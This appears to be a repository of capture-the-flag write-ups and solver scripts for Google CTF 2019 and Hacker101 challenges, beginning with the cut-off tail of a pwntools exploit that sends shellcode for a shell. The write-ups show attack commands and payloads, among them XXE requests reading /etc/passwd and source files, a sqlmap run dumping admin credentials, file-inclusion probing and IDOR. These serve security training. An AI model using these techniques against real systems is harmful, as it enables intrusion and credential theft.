count: ')) 32 | print(line) 33 | conn.writeline(str(1)) # count 34 | line = conn.readline() 35 | print(line) 36 | if line == '0': 37 | break 38 | offs += 1 39 | 40 | conn.writeline(pwn.asm(pwn.shellcraft.i386.linux.sh())) 41 | conn.writeline('') 42 | conn.interactive() 43 | 44 | remote() 45 | -------------------------------------------------------------------------------- /google-ctf-2019/bnv.web.ctfcompetition.com/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | Find ``post.js`` in home page 3 | 4 | ```bash 5 | https://bnv.web.ctfcompetition.com/static/post.js 6 | ``` 7 | 8 | Calculate message_new according to function AjaxFormPost, 'zurich', for example, was mapped to '135601360123502401401250' 9 | 10 | Send post request with httpie 11 | 12 | ```bash 13 | http --json --verbose -f POST https://bnv.web.ctfcompetition.com/api/search Content-Type:"application/json" message=135601360123502401401250 14 | ``` 15 | 16 | Request 17 | 18 | ```bash 19 | POST /api/search HTTP/1.1 20 | Accept: application/json 21 | Accept-Encoding: gzip, deflate 22 | Connection: keep-alive 23 | Content-Length: 39 24 | Content-Type: application/json 25 | Host: bnv.web.ctfcompetition.com 26 | User-Agent: HTTPie/0.9.4 27 | 28 | { 29 | "message": "135601360123502401401250" 30 | } 31 | ``` 32 | 33 | Response 34 | 35 | ```bash 36 | HTTP/1.1 200 OK 37 | Content-Encoding: gzip 38 | Content-Type: application/json; charset=utf-8 39 | Date: Tue, 23 Jun 2020 03:51:29 GMT 40 | Server: gunicorn/19.9.0 41 | Transfer-Encoding: chunked 42 | Vary: Accept-Encoding 43 | Via: 1.1 google 44 | 45 | { 46 | "ValueSearch": "Welcome! Our center is located in Brandschenkestrasse 110, 8002 Zurich, Opening hours for this center is 8:00-17:00" 47 | } 48 | 49 | ``` 50 | 51 | Try to request with XML 52 | 53 | ```bash 54 | http --verbose -f POST https://bnv.web.ctfcompetition.com/api/search Content-Type:"application/xml" <<< ']>135601360123502401401250' 55 | 56 | ``` 57 | 58 | It's working. Now, post with the attack payload 59 | 60 | ```bash 61 | http --verbose -f POST https://bnv.web.ctfcompetition.com/api/search Content-Type:"text/xml" < payload.xml 62 | ``` 63 | 64 | Got one flag in response. 65 | -------------------------------------------------------------------------------- /google-ctf-2019/cryptoqkd.web.ctfcompetition.com/decode.sh: -------------------------------------------------------------------------------- 1 | key="404c368bf890dd10abc3f4209437fcbb" 2 | ciphertext="U2FsdGVkX182ynnLNxv9RdNdB44BtwkjHJpTcsWU+NFj2RfQIOpHKYk1RX5i+jKO" 3 | 4 | key="946cff6c9d9efed002233a6a6c7b83b1" 5 | ciphertext="U2FsdGVkX19OI2T2J9zJbjMrmI0YSTS+zJ7fnxu1YcGftgkeyVMMwa+NNMG6fGgjROM/hUvvUxUGhctU8fqH4titwti7HbwNMxFxfIR+lR4=" 6 | 7 | echo "$key" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key 8 | echo "$ciphertext" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key 9 | -------------------------------------------------------------------------------- /google-ctf-2019/malvertising/WFmJWvYBQmZnedwpdQBU.js: -------------------------------------------------------------------------------- 1 | alert("CTF{I-LOVE-MALVERTISING-wkJsuw}") -------------------------------------------------------------------------------- /hacker101-ctf/cody's-first-blog/writeup.md: -------------------------------------------------------------------------------- 1 | Test path accessiblity 2 | 3 | ```html 4 | http://34.74.105.127/9ec2869b99/index.php 5 | ``` 6 | 7 | Create comment with body 8 | 9 | ```php 10 | 11 | ``` 12 | Submit to get a flag 13 | 14 | By viewing page source found a path to admin login page 15 | 16 | ```html 17 | http://34.74.105.127/9ec2869b99/?page=admin.auth.inc 18 | ``` 19 | 20 | Try another value of page 21 | 22 | ```html 23 | http://34.74.105.127/9ec2869b99/?page=xx 24 | ``` 25 | An error message was received 26 | 27 | ```php 28 | Warning: include(xx.php): failed to open stream: No such file or directory 29 | ``` 30 | So the value of page is a filename without suffix 31 | 32 | Keep on trying, seems subpath php.ini is accessible 33 | 34 | ```html 35 | http://34.74.105.127/9ec2869b99/php.ini 36 | ``` 37 | 38 | Try another possible file name 39 | 40 | ```html 41 | http://34.74.105.127/9ec2869b99/?page=admin.inc 42 | ``` 43 | It leads to a flag at the bottom of the response page 44 | 45 | 46 | Comment with content 47 | 48 | ```php 49 | 50 | ``` 51 | Approve this comment in 'Pending Comments' page. 52 | 53 | Visit home page via 54 | 55 | ```html 56 | http://34.74.105.127/9ec2869b99/?page=http://localhost/index 57 | ``` 58 | 59 | Found the 3rd flag in source code of ```index.php``` 60 | -------------------------------------------------------------------------------- /hacker101-ctf/micro-cms-v2/writeup.md: -------------------------------------------------------------------------------- 1 | It requires to login to create or edit page, the login page seems injectable. 2 | 3 | ```bash 4 | sqlmap -u http://34.74.105.127/239c7507f5/login --method POST --data "username=FUZZ&password=" -p username --dbs --dbms mysql --regexp "invalid password" --level 2 --dump --random-agent 5 | ``` 6 | 7 | Found admin credential in sqlmap output ``admins.csv``. After login, found one flag. 8 | In another output of sqlmap ``pages.csv`` there is another flag. 9 | 10 | Try to edit or create a page, but it always redirect to login page. check what options are allowed for editing page. 11 | 12 | ```bash 13 | http OPTIONS http://35.190.155.168/cf116e4cb3/page/edit/2 14 | ``` 15 | 16 | How about a post request. 17 | 18 | ```bash 19 | curl -XPOST http://35.190.155.168/cf116e4cb3/page/edit/2 20 | ``` 21 | Now we get a flag in response. 22 | -------------------------------------------------------------------------------- /hacker101-ctf/model-e1337-rolling-code-lock/writeup.md: -------------------------------------------------------------------------------- 1 | Try out several subpath found the following is valid 2 | 3 | * [1] http://34.74.105.127/a89232cf07/unlock 4 | * [2] http://34.74.105.127/a89232cf07/admin 5 | 6 | ``[2]`` leads to admin panel 7 | 8 | There is a comment in admin page indicates a path named 'get-config' 9 | By checking 10 | 11 | ```html 12 | http://34.74.105.127/a89232cf07/get-config 13 | ``` 14 | 15 | We found it leads to a page shows 16 | 'Front door' 17 | same string at admin panel 18 | 19 | View the source code of get-config, turns out it's actually an XML file. 20 | looks like there are some logic to read the xml file and generate the admin page. 21 | 22 | Test url 23 | 24 | ```html 25 | http://34.74.105.127/a89232cf07/set-config 26 | ``` 27 | 28 | Got a ``Bad Request`` message which means this is a valid path. 29 | 30 | Try to request with parameter 'data' and payload 31 | 32 | ```xml 33 | ]>&mycode; 34 | ``` 35 | 36 | It redirect to admin page with content of /etc/passwd. 37 | 38 | Try out several paths, seems ``main.py`` is a valid one. 39 | 40 | ```xml 41 | ]>&mycode; 42 | ``` 43 | 44 | Found one flag in file main.py. 45 | -------------------------------------------------------------------------------- /hacker101-ctf/postbook/writeup.md: -------------------------------------------------------------------------------- 1 | Sign up with username=gg, password=gg and then sign in with the previous credential. 2 | Try to visit existen posts we figured the url of post seems iterable by changing parameter `id` 3 | 4 | Try to access 5 | 6 | ```html 7 | http://34.74.105.127/af82d5a390/index.php?page=view.php&id=2 8 | ``` 9 | It leads us to a private post that contains a flag. 10 | 11 | Created a post with tag ``